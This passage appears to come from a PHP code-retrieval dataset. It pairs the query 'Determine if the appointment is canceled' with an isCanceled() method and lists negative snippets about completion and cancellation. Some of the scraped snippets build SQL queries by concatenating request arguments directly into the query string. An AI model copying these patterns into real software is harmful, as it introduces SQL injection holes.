hasNotCompleted() : bool\n {\n return $this->completed_at === null;\n }", "function isComplete() {\n\t\t$questions = $this->getQuestions();\n\t\t\n\t\tforeach((array) $questions as $question) {\n\t\t\tif(!$question->hasAnswer($this->_answers)) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn true;\n\t}", "function isComplete()\r\n {\r\n return $this->_complete;\r\n }", "public function isFinished() {\n if($this->state == \"completed\" ||\n $this->state == \"rejected\" ||\n $this->state == \"failed\") {\n return true;\n } else {\n return false;\n }\n }", "public function isFinished() {\n\t\treturn $this->workflowActivitySpecification->isFinished();\n\t}", "public function isCompleted()\n {\n return $this->_detectCompletionBoundaryInOutput(true);\n }", "public function hasCompleted()\n\t{\n\t\treturn $this->isStatusSuccessful() || $this->isStatusFailed();\n\t}", "protected function isCompleteCaptured()\n {\n $payment = $this->getPayment();\n return $payment->getAmountPaid() == $payment->getAmountAuthorized();\n }", "abstract public function isComplete();", "protected function is_question_finished(): bool {\n return $this->quba->get_question_state($this->slot)->is_finished();\n }", "public function isInProgress()\n {\n $currentTime = time();\n\n if (strtotime($this->eventdatetime->starttime) > $currentTime) {\n //It has not started yet.\n return false;\n }\n\n if (strtotime($this->eventdatetime->endtime) < $currentTime) {\n //It already finished.\n return false;\n }\n\n return false;\n }", "public function isOpen()\n {\n return $this->completed_at === null;\n }", "public function isOngoing()\n {\n if (empty($this->eventdatetime->endtime)) {\n return false;\n }\n\n $start = date('m-d-Y', strtotime($this->eventdatetime->starttime));\n $end = date('m-d-Y', strtotime($this->eventdatetime->endtime));\n\n //It is not an ongoing event if it starts and ends on the same day.\n if ($start == $end) {\n return false;\n }\n\n return true;\n }", "public function isEnded()\n {\n return $this->ended_at > 0;\n }", "public function finished()\n {\n return ! is_null($this->finishedAt);\n }", "function isComplete()\n\t{\n\t\tif (($this->title) and ($this->author) and ($this->question) and ($this->getMaximumPoints() > 0))\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t}", "public static function OrderProcessHasBeenMarkedAsCompleted()\n {\n return array_key_exists(self::SESSION_KEY_NAME_ORDER_SUCCESS, $_SESSION) && true == $_SESSION[self::SESSION_KEY_NAME_ORDER_SUCCESS];\n }", "public function isComplete() {\n if ( !empty($this->aliasId) && !empty($this->email) && !empty($this->username)) {\n return true;\n } else {\n return false;\n }\n }", "public function isPended() {\r\n\r\n\t\tself::errorReset();\r\n\t\t$this->reload();\r\n\t\treturn InputValidator::isEmpty($this->pendingDate) ? false: true;\r\n\t}", "public function isCompletedByCurrentUser()\n {\n return SwagUser::getCurrent()->isSwagpathCompleted($this);\n }", "public function isIncomplete(): bool\n {\n return $this->status === self::INCOMPLETE;\n }", "public function has_finished()\n {\n return $this->days_left() == 0;\n }", "public function isComplete()\n {\n \treturn mb_strlen($this->completed);\n }", "public function getCompleted() {\n\t\treturn $this->_completed;\n\t}", "function isComplete()\n\t{\n\t\tif (\n\t\t\tstrlen($this->title) \n\t\t\t&& $this->author \n\t\t\t&& $this->question && \n\t\t\tcount($this->answers) >= $this->correctanswers \n\t\t\t&& $this->getMaximumPoints() > 0\n\t\t)\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}", "public function isComplete() \n\t{\n\t\treturn (($this->status == self::STATUS_COMPLETED_IMPORT) || \n\t\t ($this->status == self::STATUS_COMPLETED_UNDO_IMPORT));\n\t}", "public function isDone() {\n\t\treturn $this->getDone();\n\t}", "function run_activity_completed_pos()\n\t\t{\n\t\t\t//this will send an email only if the configuration says to do so\n\t\t\tif (!($this->bo_agent->send_completed()))\n\t\t\t{\n\t\t\t\t$this->error[] = lang('Smtp Agent has detected some errors when sending email after completion of the activity');\n\t\t\t\t$ok = false;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$ok = true;\n\t\t\t}\n\t\t\t$this->error[] = $this->bo_agent->get_error();\n\t\t\tif ($this->bo_agent->debugmode) echo '<br />COMPLETED: Mail agent in DEBUG mode:'.implode('<br />',$this->error);\n\t\t\treturn $ok;\n\t\t}", "public function isOngoing() {\n return ($this->hasStarted() && !$this->isFinished());\n }", "public function isFinalized()\n {\n return ($this->status == 'processing' || $this->status == 'valid');\n }", "public function isDone()\n {\n return $this->result == self::RESULT_DONE;\n }", "public function isComplete()\n {\n return !$this->isOpen();\n }", "public function hasEnded()\n {\n return $this->ended;\n }", "public function isCompleted(): bool\n {\n return ($this->progress_error + $this->progress_ok) >= \\count($this->state->getSourceStates());\n }", "public function is_complete() {\n return $this->remaining_length() == 0;\n }", "public function isDue(): bool\n {\n $this->schedule($this->event());\n\n return $this->event->isDue(app());\n }", "public function IsDone()\n {\n $isDone = !$this->IsNotDone();\n \n return $isDone;\n }", "public function isFinished(): bool\n {\n return $this -> charging_status == OrderStatusEnum :: FINISHED;\n }", "public function isRoundCompleted();", "public function psxFormIsCompleted()\n {\n // TODO: Remove all code related to PSX form. Since it's not used any more we return true to be sure to not make any breaking changes\n return true;\n//\n// if (getenv('PLATEFORM') === 'PSREADY') { // if on ready, the user is already onboarded\n// return true;\n// }\n//\n// return !empty($this->getPsxForm());\n }", "public function completedStatus()\n {\n \t$validation = 'validateStatus' . studly_case(str_replace('.', '-', $this->status->slug));\n\n \tif (method_exists($this, $validation)) {\n \t\t$complete = $this->{$validation}();\n \t}else {\n \t\t$complete = true;\n \t}\n\n \treturn $complete && $this->completedAllSteps() && $this->generalValidation();\n }", "public function isDone()\r\n {\r\n if ($this->index == $this->aggregate->size()) {\r\n return true;\r\n }\r\n return false;\r\n }", "public function qualifyAsFinished(): bool;", "public function onBoardingIsCompleted()\n {\n return !empty($this->getIdToken());\n // Commented out because psx form is no longer used\n // && $this->psxFormIsCompleted();\n }", "public function isCakeFestDone()\n {\n $endDate = Configure::read('Site.cakefest.end_date');\n\n return (new Time($endDate)) < (new Time());\n }", "public function hasCompletedAffiliatedOrders()\n {\n return (count($this->getCompletedAffiliatedOrders()) > 0) ? true : false;\n }", "public function taskIsDone()\n {\n // If file exists, the related task is still busy.\n return ! file_exists($this->taskFilePath);\n }", "public function isComplete()\n {\n $result = TRUE;\n foreach(['Id','Address','FullName'] as $what):\n $getter = 'get'.$what;\n $value = $this->{$getter}();\n $result = $result && !empty($value);\n endforeach;\n return $result;\n }", "public function hasComplete(){\n return $this->_has(2);\n }", "public function isDone(){\n\t\treturn $this->done;\n\t}", "public function incomplete() : bool\n {\n return $this->stripe_status === StripeSubscription::STATUS_INCOMPLETE;\n }", "public function getComplete()\n {\n return $this->complete;\n }", "public function getComplete()\n {\n return $this->complete;\n }", "public function hasFinishState(){\n return $this->_has(5);\n }", "public function isComplete(Context $context)\n\t{\n\t\treturn true;\n\t}", "public function isComplete()\n {\n if($this->name == null || $this->street1 == null || $this->city == null || $this->countrycode == null || $this->zip == null || $this->email == null)\n {\n return false;\n }\n $countriesRequiringStates = array(\"AR\", \"BR\", \"CA\", \"CN\", \"ID\", \"IN\", \"JP\", \"MX\", \"TH\", \"US\");\n if($this->state == null && in_array($this->countrycode, $countriesRequiringStates))\n {\n return false;\n }\n return true;\n }", "public function isDone(): bool\n {\n return $this->index === count($this->objectListKeys);\n }", "public function is_interstitial_completed( $interstitial ) {\n\t\treturn in_array( $interstitial, $this->get_completed_interstitials(), true );\n\t}", "public static function is_in_progress(): bool {\n return Simply_Static\\Options::instance()->get('archive_start_time')\n && !Simply_Static\\Options::instance()->get('archive_end_time');\n }", "function challengeCompleted($challenge_id)\n\t{\n\t $current = $this->DB->database_select('users', array('challenges_completed'), array('uid' => session_get('uid')), 1);\n\t $current = $current['challenges_completed'];\n\t if(!empty($current)) //Has any challenges been completed?\n\t {\n\t\t $challenges = explode(',', $current);\n\t\t for($i = 0; $i < count($challenges); $i++)\n\t\t {\n\t\t\t if($challenges[$i] == $challenge_id)\n\t\t\t {\n\t\t\t\t return true; //Challenge was already completed\n\t\t\t }\n\t\t }\n\t }\n\t return false;\n\t}", "public static function _hasUserCompleted($a_obj_id, $a_user_id)\n\t{\n\t\treturn (self::_lookupStatus($a_obj_id, $a_user_id) == self::LP_STATUS_COMPLETED_NUM);\n\t}", "public function get_complete_appointment_activity($instructorId)\n\t{\n\t\t$res = $this->db->query(\"SELECT * FROM `appointments` LEFT JOIN `users_details` ON `appointments`.`user_id` = `users_details`.`id` WHERE `instructor_id` = '\".$instructorId.\"' AND DATE(end_datetime) >= DATE_SUB(CURRENT_DATE, INTERVAL 1 WEEK) AND `completed` = 1\");\n\t\tif($res->num_rows()){\n\t\t\t$result = $res->result_array();\n\t\t\treturn $result;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}", "public function checkTimeEnd(): bool;", "public function isAfterDeadline() {\n return $this->assignment->isAfterDeadline($this->solution->getCreatedAt());\n }", "public function finishedBy(DateTimePeriod $period): bool\n {\n return\n $this->getStart() < $period->getStart() &&\n $this->getEnd() == $period->getEnd();\n }", "function done() {\n return $this->currentState === self::DONE;\n }", "public function canBeSubmitted()\n {\n if (!$this->isNotYetSubmitted()) {\n return false;\n }\n\n $confirmationSections = $this->getSectionCompletion(self::CONFIRMATION_SECTIONS);\n\n if (!$confirmationSections['allCompleted']) {\n return false;\n }\n\n $applicationSections = $this->getSectionCompletion(self::SECTIONS);\n\n if (!$applicationSections['allCompleted']) {\n return false;\n }\n\n return $this->licence->canMakeEcmtApplication($this);\n }", "public function isComplete()\n {\n $interfaceCount = $this->device->interfaces()->count(); //get number of interfaces\n \n $testCount = \\App\\Test::count(); //get number of tests\n \n $expectedResultCount = $testCount * $interfaceCount;\n \n return ($expectedResultCount == $this->results()->count());\n }", "public function battleFinished()\n {\n return ($this->_army1->isDefeated() or $this->_army2->isDefeated());\n }", "public function hasEndtime(){\n return $this->_has(8);\n }", "function isRedeemed() {\n // we get if it wasn't used yet\n return $this->getUsed_at() != '';\n }", "public function finishes(DateTimePeriod $period): bool\n {\n return\n $period->getStart() < $this->getStart() &&\n $this->getEnd() == $period->getEnd();\n }", "public function isEnded() {}", "private function checkComplete($result) {\n\t\tif ($result[$this->alias]['minutes'] >= $result[$this->alias]['total_length']) {\n\t\t\treturn true;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}", "public function is_complete($survey_id)\n\t{\n\t\t$query = $this->db\n\t\t\t->where('survey_id', $survey_id)\n\t\t\t->where('completed IS NOT NULL', NULL, TRUE)\n\t\t\t->where('member_id', $this->session->userdata('member_id'))\n\t\t\t->order_by('updated', 'DESC')\n\t\t\t->limit(1)\n\t\t\t->get('vwm_surveys_submissions');\n\n\t\tif ($query->num_rows() > 0)\n\t\t{\n\t\t\treturn TRUE;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\t}", "public function isProfileCompleted() {\n\t\tif ($this->RelatedProductsAndServices()->count() == 0) {\n\t\t\treturn false;\n\t\t}\n\n\t\tif (empty($this->Title) ||\n\t\t\tempty($this->Description) ||\n\t\t\tempty($this->PhoneNumber)\n\t\t) {\n\n\t\t\treturn false;\n\t\t} else {\n\t\t\treturn true;\n\t\t}\n\t}", "public function isDone (int $question_id)\n { \n return (bool) $this->getScoreByQuestion($question_id)\n ->done;\n }" ]
[ "0.74457735", "0.7406386", "0.7360557", "0.7330628", "0.71770084", "0.7170402", "0.71540236", "0.7090529", "0.70676124", "0.70634145", "0.70328325", "0.69264334", "0.6848838", "0.68487585", "0.6789245", "0.6739417", "0.67117065", "0.6685741", "0.666158", "0.66484016", "0.6646257", "0.6634754", "0.6623834", "0.66191936", "0.6601634", "0.6598271", "0.65783083", "0.65593225", "0.655195", "0.6544248", "0.6494858", "0.6458148", "0.6428509", "0.642461", "0.642396", "0.6401466", "0.63562083", "0.6318612", "0.6315962", "0.6313095", "0.63055736", "0.63006234", "0.6299633", "0.6256234", "0.62533903", "0.6229531", "0.6216187", "0.62079686", "0.6207642", "0.6192634", "0.6185079", "0.6184255", "0.6181721", "0.6180316", "0.6166057", "0.61460286", "0.6117315", "0.6101071", "0.6071321", "0.606085", "0.6054876", "0.6048496", "0.6021135", "0.6005984", "0.6003339", "0.5994237", "0.59892094", "0.5983722", "0.5968292", "0.59619766", "0.596195", "0.5954421", "0.59342986", "0.5931706", "0.59226143", "0.59226143", "0.59096974", "0.5879654", "0.5878571", "0.5876203", "0.5869166", "0.5866406", "0.58589673", "0.58572686", "0.5841766", "0.5835662", "0.580099", "0.5785969", "0.5782897", "0.57757914", "0.5774233", "0.5756368", "0.575356", "0.5744094", "0.5740389", "0.57327807", "0.572968", "0.5720301", "0.569189", "0.56862617" ]
0.7287728
4
Determine if the appointment is canceled.
public function isCanceled(): bool { return $this->status == 'canceled'; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function isCanceled()\n {\n return static::STATUS_CANCELED == $this->getStatus();\n }", "public function isCanceled()\n {\n return $this->stateData['canceled'];\n }", "public function canBeCanceled()\n\t{\n\t\t$flight_at = Carbon::createFromFormat('Y-m-d H:i:s', $this->flight_at);\n if ($flight_at->subMinute(config('flight.enable_cancel'))->isFuture()) {\n return true;\n }\n else {\n\t\t\treturn false;\n }\n\t}", "public function cancelled() : bool\n {\n return !is_null($this->ends_at) && $this->is_cancelled;\n }", "public function cancelled()\n {\n return ! is_null($this->cancelledAt);\n }", "public function isCancelled(){\n return (bool) $this->cancelled_on != null;\n }", "public function isCancelled()\n {\n return $this->status === self::STATUS_CANCELLED;\n }", "public function isCancelled()\n {\n return $this->cancelled;\n }", "public function isCancelled(): bool\n {\n return $this->data['VK_SERVICE'] == '1911';\n }", "public function isCancelled(): bool\n {\n if (empty($this->data[self::STATUS_KEY])) {\n return false;\n }\n\n return $this->data[self::STATUS_KEY] === self::STATUS_CANCELLED;\n }", "public function isCancelable()\n {\n\t\treturn !in_array($this->status, [self::STATUS_COMPLETED, self::STATUS_CANCELED]);\n }", "public function isCancelled() {\n return $this->isCancelled;\n }", "public function canceled()\n {\n return $this->everSubscribed() && !$this->billingIsActive();\n }", "public function canceled()\n {\n return $this->cancelled();\n }", "public function canCancel() {\n $today = Carbon::parse();\n $canCancelFrom = $this->start_date->addMonthsNoOverflow($this->package->commitment_period)->firstOfMonth();\n\n if($canCancelFrom->greaterThan($today) || !$this->hasExpired()) {\n return false;\n }\n\n return true;\n }", "public function cancellationRequested() : bool;", "public function canceled($id) {\n $curStatus = $this->field('status', array('CoJob.id' => $id));\n \n if(!$curStatus) {\n throw new InvalidArgumentException(_txt('er.notfound', array(_txt('ct.co_jobs.1'), $id)));\n }\n \n return ($curStatus == JobStatusEnum::Canceled);\n }", "public function isCancellation() {\n return $this->cancellation;\n }", "public function getCanceled(): int;", "public function getCancelReason()\n {\n return $this->cancel_reason;\n }", "public function isCancelable(): bool;", "public function isCancellationWithValidPeriod(){\n return (bool) ($this->isCancelled() && !$this->hasExpired());\n }", "public function getCancelledAttribute(): bool\n {\n return $this->status_id === CampaignStatus::STATUS_CANCELLED;\n }", "function cancel(){\n\t\t//echo \"In Cancel\";\n\t\t\n\t\t//echo 'Das aktuelle Datum und die aktuelle Zeit ist: ';\n\t\t//echo JFactory::getDate('now', JFactory::getApplication()->getCfg('offset'))->toFormat() . \"\\n<br/><br/>\";\n\t\t\n\t\t//$date = JFactory::getDate();\n\t\t//$date->setOffset(JFactory::getApplication()->getCfg('offset'));\n\t \n\t \t//echo \"Offset: \" . JFactory::getApplication()->getCfg('offset');\n\t\t//echo 'Das aktuelle Datum und die aktuelle Zeit ist: ' . $date->toFormat() . \"\\n\";\n\t\t$date =& JFactory::getDate($time= 'now', $tzOffset=0);\n\n\t\t//$date->setOffset($mainframe->getCfg('offset'));\n\t\t//echo 'Das aktuelle Datum und die aktuelle Zeit ist: ' . $date->toFormat();\n\t\t\n\t\t//echo \"New date: \" . date('Y-m-d H:i:s');\n\n\t\t//return false;\n\t\t\n\t\t$insData =new stdClass();\n\t\t$insData->idt_drivin_event_apply = $_POST['appCanId'];\n\n\t\t//$date = new DateTime();\n\t\t$insData->dt_cancel = date('Y-m-d H:i:s'); //'CURRENT_TIMESTAMP';//$date->getTimestamp();\n\t\t\n\t\t$db = JFactory::getDBO();\n\t\tif(!$db->updateObject( '#__jevent_events_apply', $insData, 'idt_drivin_event_apply' )){\n\t\t\techo $database->stderr();\n\t\t\treturn false;\n\t\t}\n\t\treturn true;//resendCancelEmailById($insData->idt_drivin_event_apply);\n\t}", "public function canBeCancelled()\n {\n return $this->isNotYetSubmitted();\n }", "public function isCancelada(): bool\n {\n return $this->getStatus() === self::STATUS_CANCELADA;\n }", "public function getCancelTime()\n {\n return $this->cancel_time;\n }", "public function getCancelledReason()\n {\n return $this->cancelledReason;\n }", "public function getCancelType()\n {\n return $this->cancelType;\n }", "public function canCancel(): bool\n {\n if (!$this->hasData('can_cancel')) {\n $this->setData('can_cancel', $this->eraseCustomerChecker->canCancel((int) $this->session->getCustomerId()));\n }\n\n return (bool) $this->_getData('can_cancel');\n }", "function isAborted() {\n return $this->aborted;\n }", "public function canBeCancelled(): bool\n {\n // we can cancel campaigns that still have draft messages, because they haven't been entirely dispatched\n // a campaign that doesn't have any more draft messages (i.e. they have all been sent) cannot be cancelled, because the campaign is completed\n\n if ($this->status_id === CampaignStatus::STATUS_SENT && $this->save_as_draft && $this->sent_count !== $this->messages()->count()) {\n return true;\n }\n\n return in_array($this->status_id, [CampaignStatus::STATUS_QUEUED, CampaignStatus::STATUS_SENDING], true);\n }", "public function fireEventCancel(string $eventName): bool;", "public function validateCanceledURL() {\r\n return $this->validateResultURL(self::CANCELED_STATUS);\r\n }", "public function needsCancel($request, $context) {\n return FALSE;\n }", "public function getCancelationFlag(): int\n {\n return API::ffi()->ts_parser_cancellation_flag($this->data);\n }", "public function isCancelRequest(Order $order, array $postData);", "public function isInterrupted()\n {\n return $this->isInterrupted;\n }", "function cancel() {\n if($this->request->isAsyncCall()) {\n if($this->active_invoice->isLoaded()) {\n if($this->active_invoice->canCancel($this->logged_user)) {\n if($this->request->isSubmitted()) {\n try {\n $this->active_invoice->markAsCanceled($this->logged_user);\n \n $issued_to_user = $this->active_invoice->getIssuedTo();\n if ($issued_to_user instanceof User && Invoices::getNotifyClientAboutCanceledInvoice()) {\n $notify_users = array($issued_to_user);\n \t if ($issued_to_user->getId() != $this->logged_user->getId()) {\n \t $notify_users[] = $this->logged_user;\n \t } // if\n\n AngieApplication::notifications()\n ->notifyAbout('invoicing/invoice_canceled', $this->active_invoice, $this->logged_user)\n ->sendToUsers($notify_users);\n } // if\n \n \t\t\t\t\t\t$this->response->respondWithData($this->active_invoice, array(\n \t \t'as' => 'invoice', \n \t 'detailed' => true,\n \t ));\n } catch (Error $e) {\n \t$this->response->exception($e);\n } // try\n } // if\n } else {\n $this->response->forbidden();\n } // if\n } else {\n $this->response->notFound();\n } // if\n } else {\n $this->response->badRequest();\n } // if\n }", "protected function cancel()\n\t{\n\t\t$this->executeTask('Rollback');\n\n\t\treturn false;\n\t}", "protected function cancelAppointmentRequest($args) {\n\n $returned = $this->_validate_token($args['ent_sess_token'], $args['ent_dev_id'], '2');\n\n if (is_array($returned))\n return $returned;\n\n $checkBookingsQry = \"select appointment_id from appointment where slave_id = '\" . $this->User['entityId'] . \"' and status IN (6,7,8)\";\n $checkBookingsRes = mysql_query($checkBookingsQry, $this->db->conn);\n\n if (mysql_num_rows($checkBookingsRes) > 0)\n return $this->_getStatusMessage(93, 93);\n\n if ($this->_updateSlvApptStatus($this->User['entityId'], '3') == 0)\n return $this->_getStatusMessage(74, 74);\n else\n return $this->_getStatusMessage(3, 1);\n }", "protected function assertCancelingEvent($event_type) {\n return !empty($this->configuration['event_settings'][$event_type]);\n }", "public function canCancel()\n {\n $user = $this->getUser();\n\n if (\n $user['id'] == $this->getData('user_id') &&\n $this->getData('status') == Service\\BalanceWithdrawals::STATUS_PENDING\n ) {\n if ($user->getData('role') == 'Admin' || $user['id'] == $this->getData('user_id')) {\n return true;\n }\n }\n\n return false;\n }", "public function isCanceledGroupTransaction()\n {\n return $this->hasPostData(\n 'brq_transaction_type',\n self::BUCK_PUSH_GROUPTRANSACTION_TYPE\n ) &&\n $this->hasPostData(\n 'brq_statuscode',\n $this->helper->getStatusCode('BUCKAROO_MAGENTO2_STATUSCODE_CANCELLED_BY_USER')\n );\n }", "function ostGetCanceledStatusId()\r\n{\r\n\treturn 1;\r\n}", "public function cancel()\n {\n $this->confirmationArchived = false;\n }", "public function cancelAction()\n {\n $params = $this->getRequest()->getParams();\n if (array_key_exists('shipment', $params)) {\n $shipment = Mage::getModel('sales/order_shipment')->load($params['shipment']);\n if (Mage::helper('iparcel/api')->cancelShipment($shipment)) {\n Mage::getSingleton('adminhtml/session')->addSuccess('Shipment canceled');\n }\n }\n\n $this->_redirectReferer();\n return true;\n }", "public function getCancelReasonAttribute()\n {\n return $this->getParam('cancelReason', []);\n }", "function cancelPending() {\n\t\tself::$_db->saveQry(\"SELECT `ID` FROM `#_reservations` \".\n\t\t\t\t\"WHERE (`status` = 'pending' OR `status` = 'prefered') \".\n\t\t\t\t\"AND ? >= `startTime` \",\n\t\t\t\tCalendar::startCancel());\n\t\t\n\n\t\twhile($res = self::$_db->fetch_assoc())\n\t\t\tReservation::load($res['ID'])->failed();\n\t\t\n\t\t\n\t\t// TagesEnde - BuchungsCancelZeit ist kleiner als Aktueller Zeitblock\n\t\tif(Calendar::calculateTomorrow()) {\n\t\t\t$opening = Calendar::opening(date('Y-m-d', strtotime(\"tomorrow\")));\n\t\t\tself::$_db->saveQry(\"SELECT * FROM `#_reservations` \".\n\t\t\t\t\t\"WHERE (`status` = 'pending' OR `status` = 'prefered') \".\n\t\t\t\t\t\"AND ? <= `startTime` AND `startTime` <= ? \",\n\t\t\t\t\t$opening->format(\"Y-m-d H:i\"), \n\t\t\t\t\tCalendar::startCancel($opening));\n\t\t\t\n\t\t\twhile($res = self::$_db->fetch_assoc())\n\t\t\t\tReservation::load($res['ID'])->failed();\n\t\t}\n\t\t\n\t}", "public function cancel(): int;", "protected function setInvoiceCancelled(): bool\n {\n if (!$this->isUserInvoiceImplemented()) {\n return parent::setInvoiceCancelled();\n } else {\n return false;\n }\n }", "public function cancel($cell, $reference)\n\t{\n\t\t$retval = array();\n\t\t$retval['status'] = 1;\n\t\t$apointment = new Appointments();\n\t\t$apointment->cancel($cell, $reference);\n\t\treturn($retval);\n\t}", "protected function cancelAppointment($args) {\n\n if ($args['ent_appnt_dt'] == '' || $args['ent_dri_email'] == '' || $args['ent_date_time'] == '')\n return $this->_getStatusMessage(1, $args);\n\n $this->curr_date_time = urldecode($args['ent_date_time']);\n\n $returned = $this->_validate_token($args['ent_sess_token'], $args['ent_dev_id'], '2');\n\n if (is_array($returned))\n return $returned;\n\n $args['ent_appnt_dt'] = urldecode($args['ent_appnt_dt']);\n\n $getApptDetQry = \"select a.appointment_dt, a.appt_type, a.status, a.mas_id, a.appointment_id, a.user_device from appointment a, master d where a.mas_id = d.mas_id and d.email = '\" . $args['ent_dri_email'] . \"' and a.appointment_dt = '\" . $args['ent_appnt_dt'] . \"' and a.slave_id = '\" . $this->User['entityId'] . \"' order by a.appointment_id DESC\";\n $getApptDetRes = mysql_query($getApptDetQry, $this->db->conn);\n\n if (mysql_affected_rows() <= 0)\n return $this->_getStatusMessage(32, 32);\n\n $apptDet = mysql_fetch_assoc($getApptDetRes);\n\n if (!is_array($apptDet))\n return $this->_getStatusMessage(32, 32);\n\n if ($apptDet['status'] == '3')\n return $this->_getStatusMessage(44, 44);\n\n if ($apptDet['status'] == '4')\n return $this->_getStatusMessage(41, $getApptDetQry);\n\n if ($apptDet['status'] == '5')\n return $this->_getStatusMessage(82, 3);\n\n if ($apptDet['status'] == '9')\n return $this->_getStatusMessage(75, 3);\n\n// $docData = $this->_getEntityDet($args['ent_dri_email'], '1');\n\n $after_5min = date('Y-m-d H:i:s', (strtotime($apptDet['appointment_dt']) + $this->cancellationTimeInSec));\n\n if ($this->curr_date_time >= $after_5min)\n $cancelStatus = \"cancel_status = '3', \";\n else\n $cancelStatus = \"cancel_status = '2', \";\n\n $cancelApntQry = \"update appointment set status = 4, \" . $cancelStatus . \" last_modified_dt = '\" . $this->curr_date_time . \"', cancel_dt = '\" . $this->curr_date_time . \"' where appointment_id = '\" . $apptDet['appointment_id'] . \"'\"; // slave_id = '\" . $this->User['entityId'] . \"' and mas_id = '\" . $apptDet['mas_id'] . \"' and appointment_dt = '\" . $args['ent_appnt_dt'] . \"'\";\n mysql_query($cancelApntQry, $this->db->conn);\n\n if (mysql_affected_rows() <= 0)\n return $this->_getStatusMessage(3, $cancelApntQry);\n\n $location = $this->mongo->selectCollection('location');\n\n $master = $location->findOne(array('user' => (int) $apptDet['mas_id']));\n\n $pubnubContent = array('a' => 10, 'dt' => $apptDet['appointment_dt'], 'e' => $this->User['email'], 'bid' => $apptDet['appointment_id'], 't' => $apptDet['appt_type'],);\n\n if (!is_null($master['listner']))\n $pushNum['pubnub'] = $this->pubnub->publish(array(\n 'channel' => $master['listner'],\n 'message' => $pubnubContent\n ));\n\n $message = \"Passenger cancelled the appointment on \" . $this->appName . \"!\";\n\n $this->ios_cert_path = $this->ios_roadyo_driver;\n $this->ios_cert_pwd = $this->ios_dri_pwd;\n $this->androidApiKey = $this->masterApiKey;\n $aplPushContent = array('alert' => $message, 'nt' => '10', 'd' => $apptDet['appointment_dt'], 'e' => $this->User['email'], 'sound' => 'default', 'id' => $apptDet['appointment_id'], 'r' => $args['ent_cancel_type'], 't' => $apptDet['appt_type']);\n $andrPushContent = array('payload' => $message, 'action' => '10', 'sname' => $this->User['firstName'], 'dt' => $apptDet['appointment_dt'], 'e' => $this->User['email'], 'bid' => $apptDet['appointment_id'], 'r' => $args['ent_cancel_type'], 't' => $apptDet['appt_type']);\n $pushNum['push'] = $this->_sendPush($this->User['entityId'], array($apptDet['mas_id']), $message, '10', $this->User['firstName'], $this->curr_date_time, '1', $aplPushContent, $andrPushContent);\n\n $deleteAllSessionsQry = \"update master set status = '3' where mas_id = '\" . $apptDet['mas_id'] . \"'\";\n mysql_query($deleteAllSessionsQry, $this->db->conn);\n\n $location->update(array('user' => (int) $apptDet['mas_id']), array('$set' => array('status' => 3, 'apptStatus' => 0)));\n\n if ($this->curr_date_time >= $after_5min)\n return $this->_getStatusMessage(43, $cancelApntQry . $after_5min);\n else\n return $this->_getStatusMessage(42, $cancelApntQry . $after_5min);\n }", "public function getShippingCanceled();", "public function cancel() {\n\t\t$this->workflowActivitySpecification->setState(WorkflowActivityStateEnum::CANCELLED);\n\n\t\tif ($this->runtimeContext)\n\t\t\t$this->workflowActivity->onCancel($this->runtimeContext);\n\t}", "public function canceledit($value) {\n return $this->setProperty('canceledit', $value);\n }", "public function canceledit($value) {\n return $this->setProperty('canceledit', $value);\n }", "public function cancel(string $reason = null): bool\n {\n $this->user->subscription('kanka')->cancel();\n\n // Anything that can fail, send to a queue\n SubscriptionCancelEmailJob::dispatch($this->user, $reason);\n\n // Dispatch the job when the subscription actually ends\n SubscriptionEndJob::dispatch($this->user)\n ->delay(\n $this->user->subscription('kanka')->ends_at\n );\n\n return true;\n }", "final public function cancel_date(BadmintonDate $badminton_date) {\r\n\t\ttry {\r\n\t\t\tif ($badminton_date->date_id) {\r\n\t\t\t\t//If already confirmed and the user is the one who booked this court than \r\n\t\t\t\t$sql = \"UPDATE badminton_dates SET status = 0 WHERE date_id = '$badminton_date->date_id' LIMIT 1\";\r\n\t\t\t\t$result = $this->dbc->query($sql)\r\n\t\t\t\tor die ($this->dbc);\r\n\t\t\t\t$this->log_action(); //Need to think about how to log actions\r\n\t\t\t\treturn true;\r\n \t\t\t}\r\n \t\t\telse {\r\n \t\t\t\tthrow new UnexpectedValueException;\r\n \t\t\t}\r\n\r\n\t\t}\r\n\t\tcatch (UnexpectedValueException $e) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}", "public function getTaxCanceled() {\n return $this->item->getTaxCanceled();\n }", "public function cancelled()\n {\n \n $this->alert('info', 'Understood');\n }", "public function cancelled()\n {\n \n $this->alert('info', 'Understood');\n }", "public function cancel() {\n # cleanup code before cancellng job\n $ret = array('message'=>'You cancelled this job at '.date('H:i:s'));\n return $ret;\n }", "public function isRejected() {\n\t\treturn $this->approved == -1;\n\t}", "public function getDiscountTaxCompensationCanceled() {\n return $this->item->getDiscountTaxCompensationCanceled();\n }", "public function isDone()\n\t{\n\t $today = Carbon::now()->setTimezone('America/Los_Angeles')->startOfDay();\n\t return $today->gte($this->event_date->endOfDay());\n\t}", "public function cancelAppointment(appointmentClass $info)\n {\n //Query To Delete The Appointment From The DataBase\n $sql = \"DELETE FROM appointment WHERE customer_id=? AND appointment_id=? AND customer_mail=?\";\n $values = array($info->getCustomerID(),$info->getAppointmentID(),$info->getCustomerMail());\n \n //Check If The Appointment Still Exist In The DataBase\n $check=$this->getInfo(\"SELECT * FROM appointment WHERE customer_id=? AND appointment_id=? AND customer_mail=?\",$values);\n \n //If EveryThing Okay We Send A Message Conatain Confirm Deletion\n if($check)\n {\n $this->execute($sql,$values);\n \n //Send Email\n $to = $info->getCustomerMail();\n $subject = \"Queue Order\";\n $message = \"Hi \".$check[0]['customer_name'].\"\\n Your Queue Is Canceled , Thanks for Choosing Q.S.M \";\n $headers = 'From: [email protected]'.\"\\r\\n\".'X-Mailer: PHP/'.phpversion();\n \n mail($to, $subject, $message, $headers);\n die(\"התור בוטל בהצלחה ,נשלחה הודעה למייל\");\n }\n else \n die('התור לא קיים');\n }", "public function cancel(Appointment $appointment)\n {\n // dd($appointment);\n $appointment->update(['status' => 3]);\n $notification = [\n 'message' => 'appointment Has beeb Cancelled',\n 'date' => 